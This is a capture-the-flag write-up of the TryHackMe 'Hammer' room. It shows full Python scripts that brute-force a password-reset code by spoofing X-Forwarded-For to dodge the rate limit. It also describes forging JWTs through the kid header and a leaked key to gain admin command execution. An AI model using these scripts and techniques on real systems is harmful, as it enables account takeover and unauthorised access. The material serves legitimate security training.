TryHackMe: Hammer
Hammer started with discovering a log file on the web application with fuzzing and an email address inside. With a valid email address in hand, we were able to request a password reset for the user. After bypassing the rate limit to be able to brute-force the password recovery code, we were successful in resetting the password for the user and accessing the dashboard. After gaining access to the dashboard, we used forged JWTs to escalate our role from user to admin to be able to run commands and completed the room.
Initial Enumeration
Nmap Scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.63.156
Nmap scan report for 10.10.63.156
Host is up (0.087s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 96:97:2f:db:56:5e:4e:5b:d5:f3:75:47:46:96:ac:e5 (RSA)
| 256 83:3b:7a:7a:9c:61:8b:19:ef:77:11:1f:28:c0:bf:05 (ECDSA)
|_ 256 db:30:10:99:b1:71:85:59:21:5a:67:21:6d:98:f3:b6 (ED25519)
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Login
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There are two ports open.
- 22/SSH
- 1337/HTTP
Web 1337
Looking at http://10.10.63.156:1337/
, we get a login form.
Clicking on the Forgot your password?
, we get redirected to http://10.10.63.156:1337/reset_password.php
where we see a form to input user email for a password reset.
Testing the form with a random email address, we get the message: Invalid email address!
First Flag
Discovering the Email
Checking the source code for http://10.10.63.156:1337/
, we see a note left by the developer about the naming convention.
Using ffuf
to fuzz for any directories following this naming convention, we discover /hmr_logs
.
1
2
3
4
5
6
$ ffuf -u 'http://10.10.63.156:1337/hmr_FUZZ' -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -t 100 -mc all -ic -fw 23
...
css [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 416ms]
js [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 465ms]
images [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 519ms]
logs [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 813ms]
Looking at the http://10.10.63.156:1337/hmr_logs/
, file indexing is enabled and there is a single file named errors.log
.
Reading the errors.log
file, we discover an email address: tester@hammer.thm
1
2
3
4
5
6
7
8
9
10
$ curl -s 'http://10.10.63.156:1337/hmr_logs/error.logs'
[Mon Aug 19 12:00:01.123456 2024] [core:error] [pid 12345:tid 139999999999999] [client 192.168.1.10:56832] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Mon Aug 19 12:01:22.987654 2024] [authz_core:error] [pid 12346:tid 139999999999998] [client 192.168.1.15:45918] AH01630: client denied by server configuration: /var/www/html/
[Mon Aug 19 12:02:34.876543 2024] [authz_core:error] [pid 12347:tid 139999999999997] [client 192.168.1.12:37210] AH01631: user tester@hammer.thm: authentication failure for "/restricted-area": Password Mismatch
[Mon Aug 19 12:03:45.765432 2024] [authz_core:error] [pid 12348:tid 139999999999996] [client 192.168.1.20:37254] AH01627: client denied by server configuration: /etc/shadow
[Mon Aug 19 12:04:56.654321 2024] [core:error] [pid 12349:tid 139999999999995] [client 192.168.1.22:38100] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/protected
[Mon Aug 19 12:05:07.543210 2024] [authz_core:error] [pid 12350:tid 139999999999994] [client 192.168.1.25:46234] AH01627: client denied by server configuration: /home/hammerthm/test.php
[Mon Aug 19 12:06:18.432109 2024] [authz_core:error] [pid 12351:tid 139999999999993] [client 192.168.1.30:40232] AH01617: user tester@hammer.thm: authentication failure for "/admin-login": Invalid email address
[Mon Aug 19 12:07:29.321098 2024] [core:error] [pid 12352:tid 139999999999992] [client 192.168.1.35:42310] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Mon Aug 19 12:09:51.109876 2024] [core:error] [pid 12354:tid 139999999999990] [client 192.168.1.50:45998] AH00037: Symbolic link not allowed or link target not accessible: /var/www/html/locked-down
Bypassing the Rate Limit
Now that we discovered a valid email address, we can try to reset the password for the user at http://10.10.63.156:1337/reset_password.php
.
After submitting the email, we see a new form, this time asking for a 4-digit recovery code.
Since it is only a 4-digit code, we should be able to brute-force it easily. However, if we attempt to do so, we will first notice the Rate-Limit-Pending
header in the response.
If we continue to make requests in quick succession, we will see it decreasing.
And when it reaches zero, we see that now we are getting rate-limited.
So, if we want to brute-force the recovery code, we need to figure out a way to bypass the rate limit.
Trying out different common methods for it, we have success using the X-Forwarded-For
header.
First, we can see that we are rate-limited.
But if we add the X-Forwarded-For: 127.0.0.1
header, we can see the rate limit counter being reset.
Of course, once this counter also reaches zero, we will be once again rate-limited.
But simply changing the IP address in the header, we are able to reset the counter once more.
Brute-forcing the Code
Now that we found a way to bypass the rate limit, I wrote a Python
script for brute-forcing the recovery code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3
import requests
import random
import threading
url = "http://10.10.63.156:1337/reset_password.php"
stop_flag = threading.Event()
num_threads = 50
def brute_force_code(session, start, end):
for code in range(start, end):
code_str = f"{code:04d}"
try:
r = session.post(
url,
data={"recovery_code": code_str, "s": "180"},
headers={
"X-Forwarded-For": f"127.0.{str(random.randint(0, 255))}.{str(random.randint(0, 255))}"
},
allow_redirects=False,
)
if stop_flag.is_set():
return
elif r.status_code == 302:
stop_flag.set()
print("[-] Timeout reached. Try again.")
return
else:
if "Invalid or expired recovery code!" not in r.text:
stop_flag.set()
print(f"[+] Found the recovery code: {code_str}")
print("[+] Printing the response: ")
print(r.text)
return
except Exception as e:
#print(e)
pass
def main():
session = requests.Session()
print("[+] Sending the password reset request.")
session.post(url, data={"email": "tester@hammer.thm"})
print("[+] Starting the code brute-force.")
code_range = 10000
step = code_range // num_threads
threads = []
for i in range(num_threads):
start = i * step
end = start + step
thread = threading.Thread(target=brute_force_code, args=(session, start, end))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
if __name__ == "__main__":
main()
First, it makes a password reset request for tester@hammer.thm
. After that, it starts multiple threads to try different recovery codes with randomly generated IP addresses for the X-Forwarded-For
header, and if it finds the right code, it prints the response to it, so we can see the next step.
Even though we bypassed the rate limit, we still only have 180 seconds for brute-forcing the recovery code, and this script is only able to try approximately 3000–3500 codes during that time frame. This gives you a 1/3 chance of success, so you might need to run it multiple times. Also, you might try increasing the thread count, but I was getting too many timeout errors with any more than 50.
Running the script, we see the next step after entering a valid code: a form for setting a new password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ python3 brute_force_code.py
[+] Sending the password reset request.
[+] Starting the code brute-force.
[+] Found the recovery code: 6545
[+] Printing the response:
...
<h3 class="text-center">Reset Your Password</h3>
<form method="POST" action="">
<div class="mb-3">
<label for="new_password" class="form-label">New Password</label>
<input type="password" class="form-control" id="new_password" name="new_password" required>
</div>
<div class="mb-3">
<label for="confirm_password" class="form-label">Confirm New Password</label>
<input type="password" class="form-control" id="confirm_password" name="confirm_password" required>
</div>
<button type="submit" class="btn btn-primary w-100">Reset Password</button> <p></p>
<button type="button" class="btn btn-primary w-100" style="background-color: red; border-color: red;" onclick="window.location.href='logout.php';">Cancel</button>
</form>
...
Resetting the Password
Now that we know the next step after brute-forcing the code, we can modify our script a bit to also submit a new password upon discovering the valid code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3
import requests
import random
import threading
url = "http://10.10.63.156:1337/reset_password.php"
stop_flag = threading.Event()
num_threads = 50
def brute_force_code(session, start, end):
for code in range(start, end):
code_str = f"{code:04d}"
try:
r = session.post(
url,
data={"recovery_code": code_str, "s": "180"},
headers={
"X-Forwarded-For": f"127.0.{str(random.randint(0, 255))}.{str(random.randint(0, 255))}"
},
allow_redirects=False,
)
if stop_flag.is_set():
return
elif r.status_code == 302:
stop_flag.set()
print("[-] Timeout reached. Try again.")
return
else:
if "Invalid or expired recovery code!" not in r.text and "new_password" in r.text:
stop_flag.set()
print(f"[+] Found the recovery code: {code_str}")
print("[+] Sending the new password request.")
new_password = "password123"
session.post(
url,
data={
"new_password": new_password,
"confirm_password": new_password,
},
headers={
"X-Forwarded-For": f"127.0.{str(random.randint(0, 255))}.{str(random.randint(0, 255))}"
},
)
print(f"[+] Password is set to {new_password}")
return
except Exception as e:
# print(e)
pass
def main():
session = requests.Session()
print("[+] Sending the password reset request.")
session.post(url, data={"email": "tester@hammer.thm"})
print("[+] Starting the code brute-force.")
code_range = 10000
step = code_range // num_threads
threads = []
for i in range(num_threads):
start = i * step
end = start + step
thread = threading.Thread(target=brute_force_code, args=(session, start, end))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
if __name__ == "__main__":
main()
Running the modified script, we were successful at brute-forcing the recovery code once more and resetting the password.
1
2
3
4
5
6
$ python3 reset_password.py
[+] Sending the password reset request.
[+] Starting the code brute-force.
[+] Found the recovery code: 4401
[+] Sending the new password request.
[+] Password is set to password123
Using these new credentials to login at http://10.10.63.156:1337/index.php
, we get redirected to http://10.10.63.156:1337/dashboard.php
where we get our first flag.
Second Flag
Discovering the Key File
After gaining access to the dashboard, we see a form for running commands, but before we are able to run anything, we will be redirected back to http://10.10.63.156:1337/index.php
. Checking the source code for http://10.10.63.156:1337/dashboard.php
, we can see it is due to this script:
Since it is a client-side script, we can use Burp
to intercept the response while logging in and simply comment out the line responsible for logging us out.
After that, if we try to execute any commands, we see this is the request made to the http://10.10.63.156:1337/execute_command.php
endpoint. Weirdly, it redirects us to the /logout.php
.
Also looking at the source code for http://10.10.63.156:1337/dashboard.php
, we can see the script responsible for making the request.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$(document).ready(function() {
$('#submitCommand').click(function() {
var command = $('#command').val();
var jwtToken = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzI1MDY3NzY4LCJleHAiOjE3MjUwNzEzNjgsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.tVSPlVoWVHQjxxEL_QgxXleQDbO9t40MzlnfXWLrYCE';
// Make an AJAX call to the server to execute the command
$.ajax({
url: 'execute_command.php',
method: 'POST',
data: JSON.stringify({ command: command }),
contentType: 'application/json',
headers: {
'Authorization': 'Bearer ' + jwtToken
},
success: function(response) {
$('#commandOutput').text(response.output || response.error);
},
error: function() {
$('#commandOutput').text('Error executing command.');
}
});
});
});
Well, the script we commented out was dealing with the persistentSession
cookie, which is absent in our request to the http://10.10.63.156:1337/execute_command.php
and looking at our login request, we can see why. While it sets this cookie for us, it sets it with a very short lifespan.
Adding this cookie back to the http://10.10.63.156:1337/execute_command.php
request, this time we get the Command not allowed
error.
We can save the execute command request to a file using Burp
as such after modifying the command parameter to be able to fuzz allowed commands easily.
Now, we can use the saved request with ffuf
to fuzz for any commands we can run using the linux-commands-merged.txt wordlist.
1
2
3
4
$ ffuf -request execute_command.req -request-proto http -w linux-commands-merged.txt -fr 'Command not allowed'
...
ls [Status: 200, Size: 179, Words: 1, Lines: 1, Duration: 93ms]
...
It seems ls
is the only command we can run, and running it, we get a list of files in the current directory.
Among the listed files, 188ade1.key
seems interesting; we can read it with curl
.
1
2
$ curl -s 'http://10.10.63.156:1337/188ade1.key'
56058354efb3daa97ebab00fabd7a7d7
Examining the JWT
Since executing commands didn’t lead us anywhere, let’s focus on the JWT.
If we try to modify the signature in the JWT or anything in the data, we get the Invalid token
error.
Examining the JWT using JWT.IO, there are two interesting parts:
- Our role is being set to
user
. kid
parameter in the JWT header.
Forging JWT to RCE
The kid
parameter presumably points to a file on the server, which holds the key used for signing and verifying the JWTs.
We can try changing it to the key file we discovered before and can use it’s contents as the key for signing our token.
Testing the token we forged, we see it works as we don’t get the Invalid token
error.
Now that we are able to forge tokens, we can change our role in the token data from user
to admin
.
Using this token on the http://10.10.63.156:1337/execute_command.php
endpoint, we are now able to execute commands other than the ls
.
With this, we are able to read the second flag at /home/ubuntu/flag.txt
and complete the room.